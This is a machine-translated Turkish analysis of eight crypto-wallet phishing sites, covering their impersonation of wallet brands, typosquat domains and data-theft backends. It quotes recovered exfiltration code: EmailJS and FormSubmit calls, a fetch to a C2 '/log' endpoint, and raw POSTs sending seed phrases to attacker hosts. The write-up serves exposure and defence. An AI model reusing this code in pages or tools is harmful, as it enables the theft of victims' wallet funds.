Kripto Para Kimlik Avının Yapısı:
8 Gerçek Saldırının İncelenmesi

Kimlik sahtekarlığı

Cüzdan doğrulaması için kurgusal bir “merkezi olmayan protokol”. Güvenilirlik sağlamak amacıyla canlı CryptoCompare fiyat göstergelerini ve gerçek blok zinciri gezginlerine (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) bağlantılar kullanır. Ana sayfada 100'den fazla cüzdan logosu ve 3 adımlı bir "doğrulama" süreci yer almaktadır.

Çift Sızıntı Zinciri

Beşinin en gelişmiş arka ucu — çalınan her kimlik bilgisi buradan gönderilir iki bağımsız kanal aynı anda:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

OSINT Bulguları

Kimlik sahtekarlığı

Gerçeğin piksel düzeyinde kusursuz bir kopyası Aqualibre (AQLA) token taşıma sayfası. HTML kodunda kaynağı gösteren bir meta veri etiketi bulunmaktadır: data-scrapbook-source="https://token.aqla.app/migration", 19 Kasım 2024 tarihli.

Sıfır Kod Yaklaşımı

Bu saldırganın şunlara ihtiyacı vardır: sunucu tarafında hiç kod yok. Form doğrudan şu adrese gönderilir: Statik Olmayan — statik siteler için meşru bir form arka ucu. Her gönderim, dolandırıcının e-posta adresine iletilir. Saldırganın e-posta adresi kaynak kodunda hiçbir zaman görünmez.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Kimlik sahtekarlığı

Alt etki alanı " içerirsafpal" — bir kasıtlı yazım hatası olan SafePal, popüler bir donanım cüzdanı. Site, 26 sahte konu kategorisi ile "Blockchain Wallet Rectification" adını kullanıyor. Typed.js’yi kullanarak zincir adlarını (Ethereum, BSC, Polygon...) canlandırıyor ve güvenilirlik yaratmak için bir LiveCoinWatch ticker’ı kullanıyor.

Aynı Kit, Aynı Operatör mü?

Şunu kullanır: tamamen aynı kimlik avı şablonu 2 numaralı site olarak: aynı connect.html, aynı wallets.html 60'tan fazla logoyla, aynı Un-static arka ucu (farklı form kimliği — 6f1b82c3...da9943af). Aynı kit, şunu kuvvetle akla getiriyor: Her iki tesisi de tek bir operatör işletiyor.

Koddaki hatalar: "Privay Policy" (c harfi eksik), "seperated" (doğrusu "separated"), "Kestore" (y harfi eksik). Şifre alanı şunu kullanıyor: type="text" yerine type="password".

Kimlik sahtekarlığı

'nin neredeyse kusursuz bir kopyası Flare Ağı portal — FTSO ve Data Connector protokollerine sahip gerçek bir Katman-1 EVM blok zinciri. 30’dan fazla ekosistem ortağını, gezinme özelliklerini ve markalaşma unsurlarını taklit eder. Favikonlar bir typosquat adresinden yüklenir: portal.flaremainet.com ("mainnet" kelimesinde bir "n" eksik).

E-postaJS’de Çift Yedekleme

Bunu kullanan tek site iki ayrı EmailJS hesabını aynı anda kaldırılmaya karşı yedeklilik amacıyla:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Her hırsızlık vakası için e-posta konusu: "New Wallet Details from Flare".

4. Site: ücretli reklamlar, analiz izleme ve çift veri sızdırma — en profesyonel operasyon

Kimlik sahtekarlığı

Genel bir "COIN NODE" / "Wallet Fix" hizmeti (belirli bir marka yok). Telif hakkı "Wallet Fix 2022" — bu kit şablonu en az 4 yıllık. Görüntüler şu adreste barındırılıyor: pumpeth.com (AWS üzerinde WordPress).

Hizmet Olarak Kimlik Avı

En endişe verici arka uç mimarisi: bir UUID tabanlı çoklu kiracılı API:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

Her dolandırıcıya kendine ait bir UUID uç noktası verilir. Merkezi bir operatör, API’yi yönetir, kampanyaları takip eder ve çalınan paradan bir pay alabilir. Bu, endüstriyel ölçekte kripto hırsızlığı — bir “Phishing-as-a-Service” modeli.

İlgili Altyapı (Çoğunlukla İşlevsiz)

Kimlik sahtekarlığı

A iki yönlü operasyon: şu adresteki genel bir "Destek Merkezi" wallet-support-39n.pages.dev 15 sahte ürün kategorisi ve 39 cüzdan markası ile, ayrıca bir Piksel düzeyinde kusursuz Ledger kayıt süreci klonu 'de ledger-recovery.support Replit üzerinde barındırılan — cihaz modeli seçimi, PIN ayarı ve 24 kelimelik tohum cümlesi tablosu ile birlikte gerçek BIP39 otomatik tamamlama.

Anti-Scanner C2 Arka Ucu

Cüzdan destek sayfası, çalınan verileri şu adrese gönderir: api.uranustoken.org/log — Cloudflare arkasında çalışan özel bir nginx/Ubuntu C2. Arka uç tüm GET isteklerini kasıtlı olarak reddediyor (522 zaman aşımı hatası veriyor), yalnızca POST isteklerine yanıt veriyor. Bu, URL tarayıcılarının, Google Safe Browsing tarayıcılarının ve GET isteğiyle uç noktaya ping gönderen güvenlik araştırmacılarının hiçbir şey görememesi anlamına gelir — C2 sunucusu devre dışı gibi görünür.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

Ledger klonu, Replit platformu üzerinde ayrı bir Express.js arka ucu çalıştırıyor: POST /api/recovery-phrase toplama {deviceId, pin, phrase}. Sonuç olarak 400 {"error":"Invalid data provided"} hatalı biçimlendirilmiş girdi durumunda — arka ucun canlı ve aktif olarak doğrulama aşamasında çalınan veriler.

OSINT Bulguları

Kimlik sahtekarlığı

Aşağıdakileri içeren genel bir "Merkezi Olmayan Lansman Platformu": 21 yem kategorisi (Staking, Geçiş, KYC, Hediye Kampanyası, Ödülleri Al, Varlık Kurtarma, Ön Satış, NFT Basımı, Kilitli Hesaplar...) ve 70'den fazla cüzdan markası — karşılaştığımız en kapsamlı cüzdan listelerinden biri. “Sychronize” (burada ‘n’ harfi eksik) şeklindeki bariz yazım hatası, bunun sahte olduğunu ele veriyor.

FormSubmit Pipeline

Kullanım Alanları FormSubmit.co — meşru bir “formdan e-postaya” hizmeti. Uç nokta hash’i a2cf4131f1a5d39453c7c183df96f86f dolandırıcının e-posta adresinin MD5 değeridir. Gmail, Yahoo, Hotmail, ProtonMail, Yandex ve Mail.ru’da yüzlerce e-posta şablonunu brute force yöntemiyle denedik — eşleşme yok. Dolandırıcı, nadir görülen veya rastgele oluşturulmuş bir e-posta adresi kullanır.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

OSINT Bulguları

Kimlik sahtekarlığı

Bilinmiyor — hem ön uç hem de arka uç çevrimdışı durumda. Yük yapısına göre, bu bir kripto cüzdan tohum cümlesi hırsızlığı saldırısıydı. Bu Cloudflare R2 genel depolama alanı (nesne depolama, Pages değil) bir iyi belgelenmiş bir kimlik avı yöntemi Netskope tarafından 5.000'den fazla zararlı sayfa tespit edildi ve trafiğin 61 kat arttığı bildirildi.

Script Kiddie Kurulumu

En temel işlem bu koleksiyonda. Tohum ifadeleri gönderilir kelime kelime ücretsiz Dinamik DNS üzerinden ev bilgisayarı veya VPS üzerinde çalışan bir PHP betiğine:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

OSINT Bulguları